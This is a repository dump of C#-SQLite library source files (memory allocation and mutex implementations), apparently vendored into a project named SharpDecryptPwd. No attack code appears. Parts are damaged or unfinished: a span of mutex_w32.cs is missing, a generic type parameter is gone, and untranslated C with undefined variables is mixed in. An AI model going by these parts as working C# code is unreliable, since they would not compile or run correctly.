************************************************************************* 34 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 35 | ** C#-SQLite is an independent reimplementation of the SQLite software library 36 | ** 37 | ** $Header$ 38 | ************************************************************************* 39 | */ 40 | //#include "sqliteInt.h" 41 | 42 | /* 43 | ** This version of the memory allocator is the default. It is 44 | ** used when no other memory allocator is specified using compile-time 45 | ** macros. 46 | */ 47 | #if SQLITE_SYSTEM_MALLOC 48 | 49 | /* 50 | ** Like malloc(), but remember the size of the allocation 51 | ** so that we can find it later using sqlite3MemSize(). 52 | ** 53 | ** For this low-level routine, we are guaranteed that nByte>0 because 54 | ** cases of nByte<=0 will be intercepted and dealt with by higher level 55 | ** routines. 56 | */ 57 | static byte[] sqlite3MemMalloc( int nByte ) 58 | { 59 | //sqlite3_int64 p; 60 | //Debug.Assert(nByte > 0 ); 61 | //nByte = ROUND8(nByte); 62 | //p = malloc( nByte + 8 ); 63 | //if ( p ) 64 | //{ 65 | // p[0] = nByte; 66 | // p++; 67 | //} 68 | //return (void*)p; 69 | return new byte[nByte]; 70 | } 71 | /* 72 | ** Free memory. 73 | */ 74 | // -- overloads --------------------------------------- 75 | static void sqlite3MemFree( ref T x ) where T : class 76 | { x = null; } 77 | static void sqlite3MemFree( ref string x ) { x = null; } 78 | // 79 | 80 | /* 81 | ** Like free() but works for allocations obtained from sqlite3MemMalloc() 82 | ** or sqlite3MemRealloc(). 83 | ** 84 | ** For this low-level routine, we already know that pPrior!=0 since 85 | ** cases where pPrior==0 will have been intecepted and dealt with 86 | ** by higher-level routines. 87 | */ 88 | //static void sqlite3MemFree(void pPrior){ 89 | // sqlite3_int64 p = (sqlite3_int64*)pPrior; 90 | // Debug.Assert(pPrior!=0 ); 91 | // p--; 92 | // free(p); 93 | //} 94 | 95 | /* 96 | ** Like realloc(). Resize an allocation previously obtained from 97 | ** sqlite3MemMalloc(). 98 | ** 99 | ** For this low-level interface, we know that pPrior!=0. Cases where 100 | ** pPrior==0 while have been intercepted by higher-level routine and 101 | ** redirected to xMalloc. Similarly, we know that nByte>0 becauses 102 | ** cases where nByte<=0 will have been intercepted by higher-level 103 | ** routines and redirected to xFree. 104 | */ 105 | static byte[] sqlite3MemRealloc( ref byte[] pPrior, int nByte ) 106 | { 107 | // sqlite3_int64 p = (sqlite3_int64*)pPrior; 108 | // Debug.Assert(pPrior!=0 && nByte>0 ); 109 | // nByte = ROUND8( nByte ); 110 | // p = (sqlite3_int64*)pPrior; 111 | // p--; 112 | // p = realloc(p, nByte+8 ); 113 | // if( p ){ 114 | // p[0] = nByte; 115 | // p++; 116 | // } 117 | // return (void*)p; 118 | Array.Resize( ref pPrior, nByte ); 119 | return pPrior; 120 | } 121 | 122 | /* 123 | ** Report the allocated size of a prior return from xMalloc() 124 | ** or xRealloc(). 125 | */ 126 | static int sqlite3MemSize( byte[] pPrior ) 127 | { 128 | // sqlite3_int64 p; 129 | // if( pPrior==0 ) return 0; 130 | // p = (sqlite3_int64*)pPrior; 131 | // p--; 132 | // return p[0]; 133 | return (int)pPrior.Length; 134 | } 135 | 136 | /* 137 | ** Round up a request size to the next valid allocation size. 138 | */ 139 | static int sqlite3MemRoundup( int n ) 140 | { 141 | return ROUND8( n ); 142 | } 143 | 144 | /* 145 | ** Initialize this module. 146 | */ 147 | static int sqlite3MemInit( object NotUsed ) 148 | { 149 | UNUSED_PARAMETER( NotUsed ); 150 | return SQLITE_OK; 151 | } 152 | 153 | /* 154 | ** Deinitialize this module. 155 | */ 156 | static void sqlite3MemShutdown( object NotUsed ) 157 | { 158 | UNUSED_PARAMETER( NotUsed ); 159 | return; 160 | } 161 | 162 | /* 163 | ** This routine is the only routine in this file with external linkage. 164 | ** 165 | ** Populate the low-level memory allocation function pointers in 166 | ** sqlite3GlobalConfig.m with pointers to the routines in this file. 167 | */ 168 | static void sqlite3MemSetDefault() 169 | { 170 | sqlite3_mem_methods defaultMethods = new sqlite3_mem_methods( 171 | sqlite3MemMalloc, 172 | sqlite3MemFree, 173 | sqlite3MemRealloc, 174 | sqlite3MemSize, 175 | sqlite3MemRoundup, 176 | (dxMemInit)sqlite3MemInit, 177 | (dxMemShutdown)sqlite3MemShutdown, 178 | 0 179 | ); 180 | sqlite3_config( SQLITE_CONFIG_MALLOC, defaultMethods ); 181 | } 182 | #endif //* SQLITE_SYSTEM_MALLOC */ 183 | } 184 | } 185 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/mutex_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Threading; 4 | 5 | namespace CS_SQLite3 6 | { 7 | public partial class CSSQLite 8 | { 9 | /* 10 | ** 2007 August 14 11 | ** 12 | ** The author disclaims copyright to this source code. In place of 13 | ** a legal notice, here is a blessing: 14 | ** 15 | ** May you do good and not evil. 16 | ** May you find forgiveness for yourself and forgive others. 17 | ** May you share freely, never taking more than you give. 18 | ** 19 | ************************************************************************* 20 | ** This file contains the C functions that implement mutexes. 21 | ** 22 | ** This file contains code that is common across all mutex implementations. 23 | ** 24 | ** $Id: mutex.c,v 1.31 2009/07/16 18:21:18 drh Exp $ 25 | ** 26 | ************************************************************************* 27 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 28 | ** C#-SQLite is an independent reimplementation of the SQLite software library 29 | ** 30 | ** $Header$ 31 | ************************************************************************* 32 | */ 33 | //#include "sqliteInt.h" 34 | 35 | #if !SQLITE_MUTEX_OMIT 36 | /* 37 | ** Initialize the mutex system. 38 | */ 39 | static int sqlite3MutexInit() 40 | { 41 | int rc = SQLITE_OK; 42 | if ( sqlite3GlobalConfig.bCoreMutex ) 43 | { 44 | if ( sqlite3GlobalConfig.mutex.xMutexAlloc != null ) 45 | { 46 | /* If the xMutexAlloc method has not been set, then the user did not 47 | ** install a mutex implementation via sqlite3_config() prior to 48 | ** sqlite3_initialize() being called. This block copies pointers to 49 | ** the default implementation into the sqlite3Config structure. 50 | ** 51 | */ 52 | sqlite3_mutex_methods p = sqlite3DefaultMutex(); 53 | sqlite3_mutex_methods pTo = sqlite3GlobalConfig.mutex; 54 | 55 | memcpy(pTo, pFrom, offsetof(sqlite3_mutex_methods, xMutexAlloc)); 56 | memcpy(&pTo->xMutexFree, &pFrom->xMutexFree, 57 | sizeof(*pTo) - offsetof(sqlite3_mutex_methods, xMutexFree)); 58 | pTo->xMutexAlloc = pFrom->xMutexAlloc; 59 | } 60 | rc = sqlite3GlobalConfig.mutex.xMutexInit(); 61 | } 62 | 63 | return rc; 64 | } 65 | 66 | /* 67 | ** Shutdown the mutex system. This call frees resources allocated by 68 | ** sqlite3MutexInit(). 69 | */ 70 | static int sqlite3MutexEnd() 71 | { 72 | int rc = SQLITE_OK; 73 | if( sqlite3GlobalConfig.mutex.xMutexEnd ){ 74 | rc = sqlite3GlobalConfig.mutex.xMutexEnd(); 75 | } 76 | return rc; 77 | } 78 | 79 | /* 80 | ** Retrieve a pointer to a static mutex or allocate a new dynamic one. 81 | */ 82 | static sqlite3_mutex sqlite3_mutex_alloc( int id ) 83 | { 84 | #if !SQLITE_OMIT_AUTOINIT 85 | if ( sqlite3_initialize() != 0 ) return null; 86 | #endif 87 | return sqlite3GlobalConfig.mutex.xMutexAlloc( id ); 88 | } 89 | 90 | static sqlite3_mutex sqlite3MutexAlloc( int id ) 91 | { 92 | if ( ! sqlite3GlobalConfig.bCoreMutex ) 93 | { 94 | return null; 95 | } 96 | return sqlite3GlobalConfig.mutex.xMutexAlloc( id ); 97 | } 98 | 99 | /* 100 | ** Free a dynamic mutex. 101 | */ 102 | static void sqlite3_mutex_free( ref sqlite3_mutex p ) 103 | { 104 | if ( p != null ) 105 | { 106 | sqlite3GlobalConfig.mutex.xMutexFree( p ); 107 | } 108 | } 109 | 110 | /* 111 | ** Obtain the mutex p. If some other thread already has the mutex, block 112 | ** until it can be obtained. 113 | */ 114 | static void sqlite3_mutex_enter( sqlite3_mutex p ) 115 | { 116 | if ( p != null ) 117 | { 118 | sqlite3GlobalConfig.mutex.xMutexEnter( p ); 119 | } 120 | } 121 | 122 | /* 123 | ** Obtain the mutex p. If successful, return SQLITE_OK. Otherwise, if another 124 | ** thread holds the mutex and it cannot be obtained, return SQLITE_BUSY. 125 | */ 126 | static int sqlite3_mutex_try( sqlite3_mutex p ) 127 | { 128 | int rc = SQLITE_OK; 129 | if ( p != null ) 130 | { 131 | return sqlite3GlobalConfig.mutex.xMutexTry( p ); 132 | } 133 | return rc; 134 | } 135 | 136 | /* 137 | ** The sqlite3_mutex_leave() routine exits a mutex that was previously 138 | ** entered by the same thread. The behavior is undefined if the mutex 139 | ** is not currently entered. If a NULL pointer is passed as an argument 140 | ** this function is a no-op. 141 | */ 142 | static void sqlite3_mutex_leave( sqlite3_mutex p ) 143 | { 144 | if ( p != null ) 145 | { 146 | sqlite3GlobalConfig.mutex.xMutexLeave( p ); 147 | } 148 | } 149 | 150 | #if !NDEBUG 151 | /* 152 | ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are 153 | ** intended for use inside Debug.Assert() statements. 154 | */ 155 | static bool sqlite3_mutex_held( sqlite3_mutex p ) 156 | { 157 | return ( p == null || sqlite3GlobalConfig.mutex.xMutexHeld( p ) != 0 ) ; 158 | } 159 | static bool sqlite3_mutex_notheld( sqlite3_mutex p ) 160 | { 161 | return ( p == null || sqlite3GlobalConfig.mutex.xMutexNotheld( p ) != 0 ) ; 162 | } 163 | #endif 164 | 165 | #endif //* SQLITE_OMIT_MUTEX */ 166 | } 167 | } 168 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/mutex_h.cs: -------------------------------------------------------------------------------- 1 | #define SQLITE_OS_WIN 2 | 3 | namespace CS_SQLite3 4 | { 5 | public partial class CSSQLite 6 | { 7 | /* 8 | ** 2007 August 28 9 | ** 10 | ** The author disclaims copyright to this source code. In place of 11 | ** a legal notice, here is a blessing: 12 | ** 13 | ** May you do good and not evil. 14 | ** May you find forgiveness for yourself and forgive others. 15 | ** May you share freely, never taking more than you give. 16 | ** 17 | ************************************************************************* 18 | ** 19 | ** This file contains the common header for all mutex implementations. 20 | ** The sqliteInt.h header #includes this file so that it is available 21 | ** to all source files. We break it out in an effort to keep the code 22 | ** better organized. 23 | ** 24 | ** NOTE: source files should *not* #include this header file directly. 25 | ** Source files should #include the sqliteInt.h file and let that file 26 | ** include this one indirectly. 27 | ** 28 | ** $Id: mutex.h,v 1.9 2008/10/07 15:25:48 drh Exp $ 29 | ** 30 | ************************************************************************* 31 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 32 | ** C#-SQLite is an independent reimplementation of the SQLite software library 33 | ** 34 | ** $Header$ 35 | ************************************************************************* 36 | */ 37 | 38 | 39 | /* 40 | ** Figure out what version of the code to use. The choices are 41 | ** 42 | ** SQLITE_MUTEX_OMIT No mutex logic. Not even stubs. The 43 | ** mutexes implemention cannot be overridden 44 | ** at start-time. 45 | ** 46 | ** SQLITE_MUTEX_NOOP For single-threaded applications. No 47 | ** mutual exclusion is provided. But this 48 | ** implementation can be overridden at 49 | ** start-time. 50 | ** 51 | ** SQLITE_MUTEX_PTHREADS For multi-threaded applications on Unix. 52 | ** 53 | ** SQLITE_MUTEX_W32 For multi-threaded applications on Win32. 54 | ** 55 | ** SQLITE_MUTEX_OS2 For multi-threaded applications on OS/2. 56 | */ 57 | 58 | //#if !SQLITE_THREADSAFE 59 | //# define SQLITE_MUTEX_OMIT 60 | //#endif 61 | //#if SQLITE_THREADSAFE && !defined(SQLITE_MUTEX_NOOP) 62 | //# if SQLITE_OS_UNIX 63 | //# define SQLITE_MUTEX_PTHREADS 64 | //# elif SQLITE_OS_WIN 65 | //# define SQLITE_MUTEX_W32 66 | //# elif SQLITE_OS_OS2 67 | //# define SQLITE_MUTEX_OS2 68 | //# else 69 | //# define SQLITE_MUTEX_NOOP 70 | //# endif 71 | //#endif 72 | 73 | 74 | #if SQLITE_MUTEX_OMIT 75 | /* 76 | ** If this is a no-op implementation, implement everything as macros. 77 | */ 78 | public class sqlite3_mutex { } 79 | static sqlite3_mutex mutex = null; //sqlite3_mutex sqlite3_mutex; 80 | static sqlite3_mutex sqlite3MutexAlloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3MutexAlloc(X) ((sqlite3_mutex*)8) 81 | static sqlite3_mutex sqlite3_mutex_alloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3_mutex_alloc(X) ((sqlite3_mutex*)8) 82 | static void sqlite3_mutex_free( ref sqlite3_mutex m ) { } //#define sqlite3_mutex_free(X) 83 | static void sqlite3_mutex_enter( sqlite3_mutex m ) { } //#define sqlite3_mutex_enter(X) 84 | static int sqlite3_mutex_try( int iType ) { return SQLITE_OK; } //#define sqlite3_mutex_try(X) SQLITE_OK 85 | static void sqlite3_mutex_leave( sqlite3_mutex m ) { } //#define sqlite3_mutex_leave(X) 86 | static bool sqlite3_mutex_held( sqlite3_mutex m ) { return true; }//#define sqlite3_mutex_held(X) 1 87 | static bool sqlite3_mutex_notheld( sqlite3_mutex m ) { return true; } //#define sqlite3_mutex_notheld(X) 1 88 | static int sqlite3MutexInit() { return SQLITE_OK; } //#define sqlite3MutexInit() SQLITE_OK 89 | static void sqlite3MutexEnd() { } //#define sqlite3MutexEnd() 90 | #endif //* defined(SQLITE_OMIT_MUTEX) */ 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/mutex_noop_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Threading; 4 | 5 | namespace CS_SQLite3 6 | { 7 | public partial class CSSQLite 8 | { 9 | /* 10 | ** 2008 October 07 11 | ** 12 | ** The author disclaims copyright to this source code. In place of 13 | ** a legal notice, here is a blessing: 14 | ** 15 | ** May you do good and not evil. 16 | ** May you find forgiveness for yourself and forgive others. 17 | ** May you share freely, never taking more than you give. 18 | ** 19 | ************************************************************************* 20 | ** This file contains the C functions that implement mutexes. 21 | ** 22 | ** This implementation in this file does not provide any mutual 23 | ** exclusion and is thus suitable for use only in applications 24 | ** that use SQLite in a single thread. The routines defined 25 | ** here are place-holders. Applications can substitute working 26 | ** mutex routines at start-time using the 27 | ** 28 | ** sqlite3_config(SQLITE_CONFIG_MUTEX,...) 29 | ** 30 | ** interface. 31 | ** 32 | ** If compiled with SQLITE_DEBUG, then additional logic is inserted 33 | ** that does error checking on mutexes to make sure they are being 34 | ** called correctly. 35 | ** 36 | ** $Id: mutex_noop.c,v 1.3 2008/12/05 17:17:08 drh Exp $ 37 | ** 38 | ************************************************************************* 39 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 40 | ** C#-SQLite is an independent reimplementation of the SQLite software library 41 | ** 42 | ** $Header$ 43 | ************************************************************************* 44 | */ 45 | //#include "sqliteInt.h" 46 | 47 | 48 | #if (SQLITE_MUTEX_NOOP) && !(SQLITE_DEBUG) 49 | /* 50 | ** Stub routines for all mutex methods. 51 | ** 52 | ** This routines provide no mutual exclusion or error checking. 53 | */ 54 | static int noopMutexHeld(sqlite3_mutex *p){ return 1; } 55 | static int noopMutexNotheld(sqlite3_mutex *p){ return 1; } 56 | static int noopMutexInit(void){ return SQLITE_OK; } 57 | static int noopMutexEnd(void){ return SQLITE_OK; } 58 | static sqlite3_mutex *noopMutexAlloc(int id){ return (sqlite3_mutex*)8; } 59 | static void noopMutexFree(sqlite3_mutex *p){ return; } 60 | static void noopMutexEnter(sqlite3_mutex *p){ return; } 61 | static int noopMutexTry(sqlite3_mutex *p){ return SQLITE_OK; } 62 | static void noopMutexLeave(sqlite3_mutex *p){ return; } 63 | 64 | sqlite3_mutex_methods *sqlite3DefaultMutex(void){ 65 | static sqlite3_mutex_methods sMutex = { 66 | noopMutexInit, 67 | noopMutexEnd, 68 | noopMutexAlloc, 69 | noopMutexFree, 70 | noopMutexEnter, 71 | noopMutexTry, 72 | noopMutexLeave, 73 | 74 | noopMutexHeld, 75 | noopMutexNotheld 76 | }; 77 | 78 | return &sMutex; 79 | } 80 | #endif //* defined(SQLITE_MUTEX_NOOP) && !defined(SQLITE_DEBUG) */ 81 | 82 | #if (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) 83 | /* 84 | ** In this implementation, error checking is provided for testing 85 | ** and debugging purposes. The mutexes still do not provide any 86 | ** mutual exclusion. 87 | */ 88 | 89 | /* 90 | ** The mutex object 91 | */ 92 | struct sqlite3_mutex { 93 | int id; /* The mutex type */ 94 | int cnt; /* Number of entries without a matching leave */ 95 | }; 96 | 97 | /* 98 | ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are 99 | ** intended for use inside Debug.Assert() statements. 100 | */ 101 | static int debugMutexHeld(sqlite3_mutex *p){ 102 | return p==0 || p->cnt>0; 103 | } 104 | static int debugMutexNotheld(sqlite3_mutex *p){ 105 | return p==0 || p->cnt==0; 106 | } 107 | 108 | /* 109 | ** Initialize and deinitialize the mutex subsystem. 110 | */ 111 | static int debugMutexInit(void){ return SQLITE_OK; } 112 | static int debugMutexEnd(void){ return SQLITE_OK; } 113 | 114 | /* 115 | ** The sqlite3_mutex_alloc() routine allocates a new 116 | ** mutex and returns a pointer to it. If it returns NULL 117 | ** that means that a mutex could not be allocated. 118 | */ 119 | static sqlite3_mutex *debugMutexAlloc(int id){ 120 | static sqlite3_mutex aStatic[6]; 121 | sqlite3_mutex *pNew = 0; 122 | switch( id ){ 123 | case SQLITE_MUTEX_FAST: 124 | case SQLITE_MUTEX_RECURSIVE: { 125 | pNew = sqlite3Malloc(sizeof(*pNew)); 126 | if( pNew ){ 127 | pNew->id = id; 128 | pNew->cnt = 0; 129 | } 130 | break; 131 | } 132 | default: { 133 | Debug.Assert( id-2 >= 0 ); 134 | assert( id-2 < (int)(sizeof(aStatic)/sizeof(aStatic[0])) ); 135 | pNew = &aStatic[id-2]; 136 | pNew->id = id; 137 | break; 138 | } 139 | } 140 | return pNew; 141 | } 142 | 143 | /* 144 | ** This routine deallocates a previously allocated mutex. 145 | */ 146 | static void debugMutexFree(sqlite3_mutex *p){ 147 | Debug.Assert( p->cnt==0 ); 148 | Debug.Assert( p->id==SQLITE_MUTEX_FAST || p->id==SQLITE_MUTEX_RECURSIVE ); 149 | //sqlite3_free(ref p); 150 | } 151 | 152 | /* 153 | ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt 154 | ** to enter a mutex. If another thread is already within the mutex, 155 | ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return 156 | ** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK 157 | ** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can 158 | ** be entered multiple times by the same thread. In such cases the, 159 | ** mutex must be exited an equal number of times before another thread 160 | ** can enter. If the same thread tries to enter any other kind of mutex 161 | ** more than once, the behavior is undefined. 162 | */ 163 | static void debugMutexEnter(sqlite3_mutex *p){ 164 | Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); 165 | p->cnt++; 166 | } 167 | static int debugMutexTry(sqlite3_mutex *p){ 168 | Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); 169 | p->cnt++; 170 | return SQLITE_OK; 171 | } 172 | 173 | /* 174 | ** The sqlite3_mutex_leave() routine exits a mutex that was 175 | ** previously entered by the same thread. The behavior 176 | ** is undefined if the mutex is not currently entered or 177 | ** is not currently allocated. SQLite will never do either. 178 | */ 179 | static void debugMutexLeave(sqlite3_mutex *p){ 180 | Debug.Assert( debugMutexHeld(p) ); 181 | p->cnt--; 182 | Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); 183 | } 184 | 185 | sqlite3_mutex_methods *sqlite3DefaultMutex(void){ 186 | static sqlite3_mutex_methods sMutex = { 187 | debugMutexInit, 188 | debugMutexEnd, 189 | debugMutexAlloc, 190 | debugMutexFree, 191 | debugMutexEnter, 192 | debugMutexTry, 193 | debugMutexLeave, 194 | 195 | debugMutexHeld, 196 | debugMutexNotheld 197 | }; 198 | 199 | return &sMutex; 200 | } 201 | #endif //* (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) */ 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/mutex_w32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Threading; 4 | 5 | namespace CS_SQLite3 6 | { 7 | public partial class CSSQLite 8 | { 9 | /* 10 | ** 2007 August 14 11 | ** 12 | ** The author disclaims copyright to this source code. In place of 13 | ** a legal notice, here is a blessing: 14 | ** 15 | ** May you do good and not evil. 16 | ** May you find forgiveness for yourself and forgive others. 17 | ** May you share freely, never taking more than you give. 18 | ** 19 | ************************************************************************* 20 | ** This file contains the C functions that implement mutexes for win32 21 | ** 22 | ** $Id: mutex_w32.c,v 1.18 2009/08/10 03:23:21 shane Exp $ 23 | ** 24 | ************************************************************************* 25 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 26 | ** C#-SQLite is an independent reimplementation of the SQLite software library 27 | ** 28 | ** $Header$ 29 | ************************************************************************* 30 | */ 31 | //#include "sqliteInt.h" 32 | 33 | /* 34 | ** The code in this file is only used if we are compiling multithreaded 35 | ** on a win32 system. 36 | */ 37 | #if SQLITE_MUTEX_W32 38 | 39 | 40 | /* 41 | ** Each recursive mutex is an instance of the following structure. 42 | */ 43 | struct sqlite3_mutex { 44 | CRITICAL_SECTION mutex; /* Mutex controlling the lock */ 45 | int id; /* Mutex type */ 46 | int nRef; /* Number of enterances */ 47 | DWORD owner; /* Thread holding this mutex */ 48 | }; 49 | 50 | /* 51 | ** Return true (non-zero) if we are running under WinNT, Win2K, WinXP, 52 | ** or WinCE. Return false (zero) for Win95, Win98, or WinME. 53 | ** 54 | ** Here is an interesting observation: Win95, Win98, and WinME lack 55 | ** the LockFileEx() API. But we can still statically link against that 56 | ** API as long as we don't call it win running Win95/98/ME. A call to 57 | ** this routine is used to determine if the host is Win95/98/ME or 58 | ** WinNT/2K/XP so that we will know whether or not we can safely call 59 | ** the LockFileEx() API. 60 | ** 61 | ** mutexIsNT() is only used for the TryEnterCriticalSection() API call, 62 | ** which is only available if your application was compiled with 63 | ** _WIN32_WINNT defined to a value >= 0x0400. Currently, the only 64 | ** call to TryEnterCriticalSection() is #ifdef'ed out, so #if 65 | ** this out as well. 66 | */ 67 | #if FALSE 68 | #if SQLITE_OS_WINCE 69 | //# define mutexIsNT() (1) 70 | #else 71 | static int mutexIsNT(void){ 72 | static int osType = 0; 73 | if( osType==0 ){ 74 | OSVERSIONINFO sInfo; 75 | sInfo.dwOSVersionInfoSize = sizeof(sInfo); 76 | GetVersionEx(&sInfo); 77 | osType = sInfo.dwPlatformId==VER_PLATFORM_WIN32_NT ? 2 : 1; 78 | } 79 | return osType==2; 80 | } 81 | #endif //* SQLITE_OS_WINCE */ 82 | #endif 83 | 84 | #if SQLITE_DEBUG 85 | /* 86 | ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are 87 | ** intended for use only inside Debug.Assert() statements. 88 | */ 89 | static int winMutexHeld(sqlite3_mutex p){ 90 | return p.nRef!=0 && p.owner==GetCurrentThreadId(); 91 | } 92 | static int winMutexNotheld(sqlite3_mutex p){ 93 | return p.nRef==0 || p.owner!=GetCurrentThreadId(); 94 | } 95 | #endif 96 | 97 | 98 | /* 99 | ** Initialize and deinitialize the mutex subsystem. 100 | */ 101 | static sqlite3_mutex winMutex_staticMutexes[6]; 102 | static int winMutex_isInit = 0; 103 | /* As winMutexInit() and winMutexEnd() are called as part 104 | ** of the sqlite3_initialize and sqlite3_shutdown() 105 | ** processing, the "interlocked" magic is probably not 106 | ** strictly necessary. 107 | */ 108 | static long winMutex_lock = 0; 109 | 110 | static int winMutexInit(void){ 111 | /* The first to increment to 1 does actual initialization */ 112 | if( InterlockedCompareExchange(winMutex_lock, 1, 0)==0 ){ 113 | int i; 114 | for(i=0; i 150 | **
  • SQLITE_MUTEX_FAST 0 151 | **
  • SQLITE_MUTEX_RECURSIVE 1 152 | **
  • SQLITE_MUTEX_STATIC_MASTER 2 153 | **
  • SQLITE_MUTEX_STATIC_MEM 3 154 | **
  • SQLITE_MUTEX_STATIC_PRNG 4 155 | ** 156 | ** 157 | ** The first two constants cause sqlite3_mutex_alloc() to create 158 | ** a new mutex. The new mutex is recursive when SQLITE_MUTEX_RECURSIVE 159 | ** is used but not necessarily so when SQLITE_MUTEX_FAST is used. 160 | ** The mutex implementation does not need to make a distinction 161 | ** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does 162 | ** not want to. But SQLite will only request a recursive mutex in 163 | ** cases where it really needs one. If a faster non-recursive mutex 164 | ** implementation is available on the host platform, the mutex subsystem 165 | ** might return such a mutex in response to SQLITE_MUTEX_FAST. 166 | ** 167 | ** The other allowed parameters to sqlite3_mutex_alloc() each return 168 | ** a pointer to a static preexisting mutex. Three static mutexes are 169 | ** used by the current version of SQLite. Future versions of SQLite 170 | ** may add additional static mutexes. Static mutexes are for internal 171 | ** use by SQLite only. Applications that use SQLite mutexes should 172 | ** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or 173 | ** SQLITE_MUTEX_RECURSIVE. 174 | ** 175 | ** Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST 176 | ** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() 177 | ** returns a different mutex on every call. But for the static 178 | ** mutex types, the same mutex is returned on every call that has 179 | ** the same type number. 180 | */ 181 | static sqlite3_mutex *winMutexAlloc(int iType){ 182 | sqlite3_mutex p; 183 | 184 | switch( iType ){ 185 | case SQLITE_MUTEX_FAST: 186 | case SQLITE_MUTEX_RECURSIVE: { 187 | p = sqlite3MallocZero( sizeof(*p) ); 188 | if( p ){ 189 | p.id = iType; 190 | InitializeCriticalSection(p.mutex); 191 | } 192 | break; 193 | } 194 | default: { 195 | Debug.Assert( winMutex_isInit==1 ); 196 | Debug.Assert(iType-2 >= 0 ); 197 | assert( iType-2 < sizeof(winMutex_staticMutexes)/sizeof(winMutex_staticMutexes[0]) ); 198 | p = &winMutex_staticMutexes[iType-2]; 199 | p.id = iType; 200 | break; 201 | } 202 | } 203 | return p; 204 | } 205 | 206 | 207 | /* 208 | ** This routine deallocates a previously 209 | ** allocated mutex. SQLite is careful to deallocate every 210 | ** mutex that it allocates. 211 | */ 212 | static void winMutexFree(sqlite3_mutex p){ 213 | Debug.Assert(p ); 214 | Debug.Assert(p.nRef==0 ); 215 | Debug.Assert(p.id==SQLITE_MUTEX_FAST || p.id==SQLITE_MUTEX_RECURSIVE ); 216 | DeleteCriticalSection(p.mutex); 217 | //sqlite3DbFree(db,p); 218 | } 219 | 220 | /* 221 | ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt 222 | ** to enter a mutex. If another thread is already within the mutex, 223 | ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return 224 | ** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK 225 | ** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can 226 | ** be entered multiple times by the same thread. In such cases the, 227 | ** mutex must be exited an equal number of times before another thread 228 | ** can enter. If the same thread tries to enter any other kind of mutex 229 | ** more than once, the behavior is undefined. 230 | */ 231 | static void winMutexEnter(sqlite3_mutex p){ 232 | Debug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) ); 233 | EnterCriticalSection(p.mutex); 234 | p.owner = GetCurrentThreadId(); 235 | p.nRef++; 236 | } 237 | static int winMutexTry(sqlite3_mutex p){ 238 | int rc = SQLITE_BUSY; 239 | Debug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) ); 240 | /* 241 | ** The sqlite3_mutex_try() routine is very rarely used, and when it 242 | ** is used it is merely an optimization. So it is OK for it to always 243 | ** fail. 244 | ** 245 | ** The TryEnterCriticalSection() interface is only available on WinNT. 246 | ** And some windows compilers complain if you try to use it without 247 | ** first doing some #defines that prevent SQLite from building on Win98. 248 | ** For that reason, we will omit this optimization for now. See 249 | ** ticket #2685. 250 | */ 251 | #if FALSE 252 | if( mutexIsNT() && TryEnterCriticalSection(p.mutex) ){ 253 | p.owner = GetCurrentThreadId(); 254 | p.nRef++; 255 | rc = SQLITE_OK; 256 | } 257 | #else 258 | UNUSED_PARAMETER(p); 259 | #endif 260 | return rc; 261 | } 262 | 263 | /* 264 | ** The sqlite3_mutex_leave() routine exits a mutex that was 265 | ** previously entered by the same thread. The behavior 266 | ** is undefined if the mutex is not currently entered or 267 | ** is not currently allocated. SQLite will never do either. 268 | */ 269 | static void winMutexLeave(sqlite3_mutex p){ 270 | Debug.Assert(p.nRef>0 ); 271 | Debug.Assert(p.owner==GetCurrentThreadId() ); 272 | p.nRef--; 273 | Debug.Assert(p.nRef==0 || p.id==SQLITE_MUTEX_RECURSIVE ); 274 | LeaveCriticalSection(p.mutex); 275 | } 276 | 277 | sqlite3_mutex_methods *sqlite3DefaultMutex(void){ 278 | static sqlite3_mutex_methods sMutex = { 279 | winMutexInit, 280 | winMutexEnd, 281 | winMutexAlloc, 282 | winMutexFree, 283 | winMutexEnter, 284 | winMutexTry, 285 | winMutexLeave, 286 | #if SQLITE_DEBUG 287 | winMutexHeld, 288 | winMutexNotheld 289 | #else 290 | null, 291 | null 292 | #endif 293 | }; 294 | 295 | return &sMutex; 296 | } 297 | #endif // * SQLITE_MUTEX_W32 */ 298 | } 299 | } 300 | 301 | -------------------------------------------------------------------------------- 